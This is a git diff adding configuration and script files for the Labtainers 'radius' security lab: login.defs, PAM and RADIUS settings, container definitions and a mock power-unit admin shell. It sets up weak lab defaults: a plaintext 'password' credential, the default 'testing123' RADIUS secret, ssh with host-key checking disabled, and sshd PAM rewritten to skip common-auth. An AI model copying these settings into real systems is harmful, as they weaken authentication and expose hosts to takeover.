TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_system/sbin/faux_init new file mode 100755 index 000000000..7ce7d3c88 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done + +# PUT any daemon start (that need parameterization after while loop) +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/control_admin b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/control_admin new file mode 100755 index 000000000..2e5767b95 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/control_admin @@ -0,0 +1,9 @@ +#!/bin/bash +# +# use ssh to connect to the controller admin program +# +if [ "$#" -ne 1 ]; then + echo "./control_admin " + exit +fi +ssh -o StrictHostKeyChecking=no cadmin@$1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/config/about.txt new file mode 100644 index 000000000..9d66de333 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/config/about.txt @@ -0,0 +1 @@ +A Radius authentication service is used to authenticate network devices. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/config/start.config new file mode 100644 index 000000000..b16fb94ce --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/config/start.config @@ -0,0 +1,65 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER radius + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED radius_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK LAN + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER radius + USER admin + PASSWORD password + SCRIPT NONE + X11 YES + LAN 172.25.0.2 +CONTAINER client1 + USER bob + LAN 172.25.0.3 + TERMINAL_GROUP client + ADD-HOST controller1:172.25.0.10 + ADD-HOST controller2:172.25.0.11 +CONTAINER client2 + USER alice + LAN 172.25.0.4 + TERMINAL_GROUP client + ADD-HOST controller1:172.25.0.10 + ADD-HOST controller2:172.25.0.11 +CONTAINER controller1 + USER cadmin + LAN 172.25.0.10 + TERMINAL_GROUP controller + TERMINALS 0 +CONTAINER controller2 + USER cadmin + LAN 172.25.0.11 + TERMINAL_GROUP controller + TERMINALS 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_bin/fixlocal.sh new file mode 100755 index 000000000..fc6bc6ec5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_bin/fixlocal.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo sed -i 's/@include common-auth/#@include common-auth/' /etc/pam.d/sshd +sudo sed -i '/@include common-auth/a session sufficient /lib/security/pam_radius_auth.so debug conf=/etc/pam_radius_auth.conf' /etc/pam.d/sshd +sudo sed -i '/@include common-auth/a auth sufficient /lib/security/pam_radius_auth.so debug' /etc/pam.d/sshd +sudo /etc/init.d/xinetd restart + +me=$(hostname) +cat >> $HOME/.profile << EOL +echo "Welcome to the $me shambang PDU controller." +echo "Type 'help' to terminate your session" +EOL diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_bin/student_startup.sh new file mode 100644 index 000000000..8faa0a01b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_bin/student_startup.sh @@ -0,0 +1,3 @@ +#!/bin/bash +$HOME/manage.py +exit diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/pam_radius_auth.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/pam_radius_auth.conf new file mode 100644 index 000000000..e2c307696 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/pam_radius_auth.conf @@ -0,0 +1,2 @@ +172.25.0.2 testing123 3 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/sbin/faux_init new file mode 100755 index 000000000..4f02370dd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/_system/sbin/faux_init @@ -0,0 +1,22 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +### Uncomment the while loop below +### if it is necessary to make sure parameterization has happened + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +###while [ ! -d "$PERMLOCKDIR" ] +###do +### sleep 2 +###done + +# PUT any daemon start (that need parameterization after while loop) +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start +service xinetd restart + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/manage.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/manage.py new file mode 100755 index 000000000..14d231658 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller1/manage.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python +import sys +done = False +running = False +while not done: + cmd = raw_input("cadmin> ") + if cmd == 'h' or cmd == 'help': + print('start : enable the power distribution unit') + print('stop : disable the power distribution unit') + print('status : show status of the power distirbution unit') + print('exit : exit administrator tool') + elif cmd == 'status': + if running: + print('Power distribution unit powered on') + else: + print('Power distribution unit powered off') + elif cmd == 'start': + print('Starting power distribution unit') + running = True + elif cmd == 'stop': + print('Stopping power distribution unit') + running = False + elif cmd == 'exit': + print('bye') + exit(0) + else: + print('eh?') diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_bin/fixlocal.sh new file mode 100755 index 000000000..fc6bc6ec5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_bin/fixlocal.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo sed -i 's/@include common-auth/#@include common-auth/' /etc/pam.d/sshd +sudo sed -i '/@include common-auth/a session sufficient /lib/security/pam_radius_auth.so debug conf=/etc/pam_radius_auth.conf' /etc/pam.d/sshd +sudo sed -i '/@include common-auth/a auth sufficient /lib/security/pam_radius_auth.so debug' /etc/pam.d/sshd +sudo /etc/init.d/xinetd restart + +me=$(hostname) +cat >> $HOME/.profile << EOL +echo "Welcome to the $me shambang PDU controller." +echo "Type 'help' to terminate your session" +EOL diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/controller2/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH 